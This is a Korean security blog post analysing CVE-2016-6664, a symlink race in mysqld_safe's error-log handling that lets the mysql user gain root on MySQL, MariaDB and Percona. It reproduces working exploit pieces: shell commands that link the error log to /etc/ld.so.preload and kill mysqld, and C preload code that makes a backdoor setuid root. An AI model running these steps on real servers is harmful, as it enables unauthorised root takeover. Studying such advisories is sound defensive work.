[EXPLOIT] MySQL(MariaDB/PerconaDB) Root Privilege Escalation(Symlink attack)

정말 오랜만에 포스팅하는 기분이네요. 요즘은 말도안되게 계속 바쁘고 그래서.. 포스팅을 작성해 놓았지만 다듬지 못해 올리지 못한 글들이 많이 있네요.

몇달전.. 지난 추석 쯤 MySQL 관련 취약점이 나와 세상을 아주 발칵 뒤집었습니다. (물론 보안담당자 기준으로요)

하필 연휴중에 나와서 많은 사람을 고생시켰다고 하죠.

바로 어제(11/1) EDB를 통해서 또하나의 MySQL 취약점이 세상으로 올라왔습니다. 그때와 동일하게 legalhackers의 작품이네요. (멋진 친구들)

Information

CVE-2016-6664로 명명된 이 취약점은 기존 6662 취약점과 유사하지만 약간의 차이가 있습니다.

취약 버전(Vulnerability Version)

MySQL 
    <= 5.5.51
    <= 5.6.32
    <= 5.7.14
MariaDB
    All current
Percona Server
    < 5.5.51-38.2
    < 5.6.32-78-1
    < 5.7.14-8
Percona XtraDB Cluster
    < 5.6.32-25.17
    < 5.7.14-26.17
    < 5.5.41-37.0

영향력 Privilege Escalation(root)

Vulnerability Analysis

이 취약점은 Mysql base의 DB, 즉 MySQL과 MiriaDB, PerconaDB에서 영향력을 끼칩니다. CVE-2016-6662는 my.cnf 파일을 로드하는 과정에서 문제가 있었다면, 6664는 error log를 처리하는 과정에서 발생하는 문제입니다.

먼저 6662 설명때로 말씀드렸지만 mysql_safe wrapper script는 mysqld를 실행할때 사용됩니다. 그 과정에서 wrapper는 error.log를 작성하고, 여는 과정을 수행합니다.

그럼 mysql의 error log가 있는 디렉토리를 살펴볼까요?

ls -la /var/log/mysql
합계 36
drwxr-x---  2 mysql adm    4096 11월  2 10:00 .
drwxrwxr-x 22 root  syslog 4096 11월  2 10:00 ..
-rw-r-----  1 mysql adm       0 11월  2 10:00 error.log
...

(/) #> ls -lad /var/log/mysql
drwxr-x--- 2 mysql adm 4096 11월  2 10:00 /var/log/mysql

mysql의 권한으로 세팅되어 있습니다. mysqld_safe wrapper는 root 권한으로 실행되지만 기능 수행을 위해 참조하는 파일은 mysql 권한으로 되어있습니다.

이 과정에서 공격자는 symlink attack을 통해 권한 상승을 시도해 볼 수 있겠네요. (얻어걸리면 나이스..)

mysqld_safe wrapper 내용 중 일부입니다.

while true
do
  rm -f "$pid_file"     # Some extra safety

  start_time=`date +%M%S`

  eval_log_error "$cmd"

  if [ $want_syslog -eq 0 -a ! -f "$err_log" ]; then
    touch "$err_log"                   
    chown $user "$err_log"             
    chmod "$fmode" "$err_log"          
  fi                                   

이 과정을 보면 touch 명령을 통해 error log를 만들고, 소유주와 권한을 지정하는 코드를 가지고 있습니다. mysql_safe wrapper는 error log 파일에 mysql 권한을 지정하게 되는데, 여기서 symlink를 통해 다른 경로를 이어줄 시 mysql_safe wrapper는 root의 권한으로 대상 파일을 mysql 권한/소유주로 변경해줍니다.

자? 이제 답이 보이나요? 우리는 mysql_safe 를 이용해서 시스템 파일을 mysql 권한으로 바꿀 수 있습니다. mysql 권한이 있다면 해당 시스템 파일을 이용하여 root를 획득하는건 일도 아니겠죠.

해당 Exploit에서는 간단한게 /etc/ld.so.preload의 권한을 mysql 권한으로 바꾼 후 preload를 이용하여 root권한을 획득합니다.

rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG

while :; do
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
rm -f $ERRORLOG
break;
fi
done

먼저 Symlink 과정입니다. 공격에 사용된 ld.so.preload를 error.log와 symbol link 합니다.

rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"

error.log 는 mysql 권한으로 되어있기 때문에 mysql 권한이 있다면 쉽게 제어할 수 있습니다. symlink 를 걸었다면 이제 mysqld를 재 시작시켜 error.log의 권한을 설정하게 둡니다. (error.log는 현재 /etc/ld.so.preload를 가리키고 있쬬)

이 부분부터 mysql이 error.log을 읽기를 기다립니다.

echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"
read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER
if [ "$THE_ANSWER" = "y" ]; then
    echo -e "Got it. Executing 'killall mysqld' now..."
    killall mysqld
fi
while :; do
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        rm -f $ERRORLOG
        break;
    fi
done

재 시작되면 error.log 즉 ld.so.preload는 mysql 권한으로 바뀌게 됩니다. 공격자는 이제 미리 만들어둔 so 파일(아래에 있는 코드)를 ld.so.preload로 바꿉니다. 이젠 권한이 동일하기 때문에 쉽게 변조가 가능하죠.

미리 만들어둔 so는 backdoor 파일에 권한을 주고, 4777로 권한을 변경하는 코드입니다. 아래에서 볼게요.

Exploit Code - Privilege Escalation

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
static uid_t  (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
//unlink("/etc/ld.so.preload");
}
return old_geteuid();
}

아아아아아주 심플합니다. chown으로 root:root (0,0)으로 주고 mod로 04777을 줍니다.

마치며..

솔직히 6662 이슈보다 재미있게 본 것 같습니다. 다만 파급력은 .. 높겠네요. SQL Injection 등을 통해 mysql 자체 권한으로 무언가를 실행할 수 있을 때 이러한 취약점은 root 권한까지 내어줄 수 있습니다. 그러나 원리 자체는 아주아주 간단하죠.

Reference

http://legalhackers.com/advisories/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-OCVE-2016-5616-Exploit.html http://legalhackers.com/exploits/mysql-chowned.sh https://www.exploit-db.com/exploits/40679/ http://www.hahwul.com/2016/09/exploit-mysqlmariadbperconadb-remote.html